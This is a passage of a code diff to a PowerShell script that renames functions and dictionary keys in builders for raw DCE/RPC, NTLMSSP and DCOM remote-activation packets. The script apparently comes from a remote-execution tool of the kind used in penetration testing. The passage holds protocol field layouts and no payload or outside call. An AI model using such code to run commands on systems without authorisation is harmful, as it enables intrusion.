[System.BitConverter]::GetBytes($packet_auth_length) - $packet_auth_length = $packet_auth_length[0,1] + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length)[0,1] $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) - $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) - $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) - $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) - $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) - $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) - $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) - $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) + $packet_RPCRequest.Add("Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketFlags",$packet_flags) + $packet_RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("FragLength",$packet_frag_length) + $packet_RPCRequest.Add("AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("CallID",$packet_call_ID) + $packet_RPCRequest.Add("AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("ContextID",$packet_context_ID) + $packet_RPCRequest.Add("Opnum",$packet_opnum) if($packet_data.Length) { - $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) + $packet_RPCRequest.Add("Data",$packet_data) } return $packet_RPCRequest } -function Get-PacketRPCAlterContext() +function New-PacketRPCAlterContext { param([Byte[]]$packet_assoc_group,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_interface_UUID) $packet_RPCAlterContext = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCAlterContext.Add("RPCAlterContext_Version",[Byte[]](0x05)) - $packet_RPCAlterContext.Add("RPCAlterContext_VersionMinor",[Byte[]](0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_PacketType",[Byte[]](0x0e)) - $packet_RPCAlterContext.Add("RPCAlterContext_PacketFlags",[Byte[]](0x03)) - $packet_RPCAlterContext.Add("RPCAlterContext_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_FragLength",[Byte[]](0x48,0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_AuthLength",[Byte[]](0x00,0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_CallID",$packet_call_ID) - $packet_RPCAlterContext.Add("RPCAlterContext_MaxXmitFrag",[Byte[]](0xd0,0x16)) - $packet_RPCAlterContext.Add("RPCAlterContext_MaxRecvFrag",[Byte[]](0xd0,0x16)) - $packet_RPCAlterContext.Add("RPCAlterContext_AssocGroup",$packet_assoc_group) - $packet_RPCAlterContext.Add("RPCAlterContext_NumCtxItems",[Byte[]](0x01)) - $packet_RPCAlterContext.Add("RPCAlterContext_Unknown",[Byte[]](0x00,0x00,0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_ContextID",$packet_context_ID) - $packet_RPCAlterContext.Add("RPCAlterContext_NumTransItems",[Byte[]](0x01)) - $packet_RPCAlterContext.Add("RPCAlterContext_Unknown2",[Byte[]](0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_Interface",$packet_interface_UUID) - $packet_RPCAlterContext.Add("RPCAlterContext_InterfaceVer",[Byte[]](0x00,0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_InterfaceVerMinor",[Byte[]](0x00,0x00)) - $packet_RPCAlterContext.Add("RPCAlterContext_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) - $packet_RPCAlterContext.Add("RPCAlterContext_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_RPCAlterContext.Add("Version",[Byte[]](0x05)) + $packet_RPCAlterContext.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCAlterContext.Add("PacketType",[Byte[]](0x0e)) + $packet_RPCAlterContext.Add("PacketFlags",[Byte[]](0x03)) + $packet_RPCAlterContext.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCAlterContext.Add("FragLength",[Byte[]](0x48,0x00)) + $packet_RPCAlterContext.Add("AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCAlterContext.Add("CallID",$packet_call_ID) + $packet_RPCAlterContext.Add("MaxXmitFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAlterContext.Add("MaxRecvFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAlterContext.Add("AssocGroup",$packet_assoc_group) + $packet_RPCAlterContext.Add("NumCtxItems",[Byte[]](0x01)) + $packet_RPCAlterContext.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCAlterContext.Add("ContextID",$packet_context_ID) + $packet_RPCAlterContext.Add("NumTransItems",[Byte[]](0x01)) + $packet_RPCAlterContext.Add("Unknown2",[Byte[]](0x00)) + $packet_RPCAlterContext.Add("Interface",$packet_interface_UUID) + $packet_RPCAlterContext.Add("InterfaceVer",[Byte[]](0x00,0x00)) + $packet_RPCAlterContext.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCAlterContext.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCAlterContext.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) return $packet_RPCAlterContext } -function Get-PacketNTLMSSPVerifier() +function New-PacketNTLMSSPVerifier { param([Int]$packet_auth_padding,[Byte[]]$packet_auth_level,[Byte[]]$packet_sequence_number) @@ -261,17 +260,17 @@ function Get-PacketNTLMSSPVerifier() if($packet_auth_padding -eq 4) { - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00)) [Byte[]]$packet_auth_pad_length = 0x04 } elseif($packet_auth_padding -eq 8) { - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) [Byte[]]$packet_auth_pad_length = 0x08 } elseif($packet_auth_padding -eq 12) { - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) [Byte[]]$packet_auth_pad_length = 0x0c } else @@ -279,62 +278,62 @@ function Get-PacketNTLMSSPVerifier() [Byte[]]$packet_auth_pad_length = 0x00 } - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthType",[Byte[]](0x0a)) - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthLevel",$packet_auth_level) - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadLen",$packet_auth_pad_length) - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthReserved",[Byte[]](0x00)) - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthContextID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierVersionNumber",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierChecksum",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierSequenceNumber",$packet_sequence_number) + $packet_NTLMSSPVerifier.Add("AuthType",[Byte[]](0x0a)) + $packet_NTLMSSPVerifier.Add("AuthLevel",$packet_auth_level) + $packet_NTLMSSPVerifier.Add("AuthPadLen",$packet_auth_pad_length) + $packet_NTLMSSPVerifier.Add("AuthReserved",[Byte[]](0x00)) + $packet_NTLMSSPVerifier.Add("AuthContextID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierVersionNumber",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierChecksum",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierSequenceNumber",$packet_sequence_number) return $packet_NTLMSSPVerifier } -function Get-PacketDCOMRemQueryInterface() +function New-PacketDCOMRemQueryInterface { param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IID) $packet_DCOMRemQueryInterface = New-Object System.Collections.Specialized.OrderedDictionary - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_VersionMajor",[Byte[]](0x05,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_VersionMinor",[Byte[]](0x07,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_CausalityID",$packet_causality_ID) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IPID",$packet_IPID) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Refs",[Byte[]](0x05,0x00,0x00,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IIDs",[Byte[]](0x01,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Unknown",[Byte[]](0x00,0x00,0x01,0x00,0x00,0x00)) - $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IID",$packet_IID) + $packet_DCOMRemQueryInterface.Add("VersionMajor",[Byte[]](0x05,0x00)) + $packet_DCOMRemQueryInterface.Add("VersionMinor",[Byte[]](0x07,0x00)) + $packet_DCOMRemQueryInterface.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("CausalityID",$packet_causality_ID) + $packet_DCOMRemQueryInterface.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("IPID",$packet_IPID) + $packet_DCOMRemQueryInterface.Add("Refs",[Byte[]](0x05,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("IIDs",[Byte[]](0x01,0x00)) + $packet_DCOMRemQueryInterface.Add("Unknown",[Byte[]](0x00,0x00,0x01,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("IID",$packet_IID) return $packet_DCOMRemQueryInterface } -function Get-PacketDCOMRemRelease() +function New-PacketDCOMRemRelease { param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IPID2) $packet_DCOMRemRelease = New-Object System.Collections.Specialized.OrderedDictionary - $packet_DCOMRemRelease.Add("DCOMRemRelease_VersionMajor",[Byte[]](0x05,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_VersionMinor",[Byte[]](0x07,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_CausalityID",$packet_causality_ID) - $packet_DCOMRemRelease.Add("DCOMRemRelease_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_Unknown",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_InterfaceRefs",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_IPID",$packet_IPID) - $packet_DCOMRemRelease.Add("DCOMRemRelease_PublicRefs",[Byte[]](0x05,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_PrivateRefs",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_IPID2",$packet_IPID2) - $packet_DCOMRemRelease.Add("DCOMRemRelease_PublicRefs2",[Byte[]](0x05,0x00,0x00,0x00)) - $packet_DCOMRemRelease.Add("DCOMRemRelease_PrivateRefs2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("VersionMajor",[Byte[]](0x05,0x00)) + $packet_DCOMRemRelease.Add("VersionMinor",[Byte[]](0x07,0x00)) + $packet_DCOMRemRelease.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("CausalityID",$packet_causality_ID) + $packet_DCOMRemRelease.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("Unknown",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("InterfaceRefs",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("IPID",$packet_IPID) + $packet_DCOMRemRelease.Add("PublicRefs",[Byte[]](0x05,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("PrivateRefs",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("IPID2",$packet_IPID2) + $packet_DCOMRemRelease.Add("PublicRefs2",[Byte[]](0x05,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("PrivateRefs2",[Byte[]](0x00,0x00,0x00,0x00)) return $packet_DCOMRemRelease } -function Get-PacketDCOMRemoteCreateInstance() +function New-PacketDCOMRemoteCreateInstance { param([Byte[]]$packet_causality_ID,[String]$packet_target) @@ -348,135 +347,135 @@ function Get-PacketDCOMRemoteCreateInstance() [Byte[]]$packet_property_data_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 56) $packet_DCOMRemoteCreateInstance = New-Object System.Collections.Specialized.OrderedDictionary - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMVersionMajor",[Byte[]](0x05,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMVersionMinor",[Byte[]](0x07,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMFlags",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMReserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMCausalityID",$packet_causality_ID) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown3",[Byte[]](0x00,0x00,0x02,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown4",$packet_cntdata) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCntData",$packet_cntdata) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFIID",[Byte[]](0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFCLSID",[Byte[]](0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFSize",$packet_size) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesTotalSize",$packet_total_size) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderPrivateHeader",[Byte[]](0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderTotalSize",$packet_total_size) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCustomHeaderSize",[Byte[]](0xc0,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderReserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesDestinationContext",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesNumActivationPropertyStructs",[Byte[]](0x06,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsInfoClsid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesNULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid",[Byte[]](0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid2",[Byte[]](0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid3",[Byte[]](0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid4",[Byte[]](0xa6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid5",[Byte[]](0xa4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid6",[Byte[]](0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize",[Byte[]](0x68,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize2",[Byte[]](0x58,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize3",[Byte[]](0x90,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize4",$packet_property_data_size) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize5",[Byte[]](0x20,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize6",[Byte[]](0x30,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPrivateHeader",[Byte[]](0x58,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesSessionID",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesRemoteThisSessionID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesClientImpersonating",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionIDPresent",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesDefaultAuthnLevel",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionGuid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesProcessRequestFlags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesOriginalClassContext",[Byte[]](0x14,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesFlags",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoPrivateHeader",[Byte[]](0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiatedObjectClsId",[Byte[]](0x5e,0xf0,0xc3,0x8b,0x6b,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoClassContext",[Byte[]](0x14,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoActivationFlags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoFlagsSurrogate",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInterfaceIdCount",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiationFlag",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtr",[Byte[]](0x00,0x00,0x02,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationEntirePropertySize",[Byte[]](0x58,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMajor",[Byte[]](0x05,0x00)) - 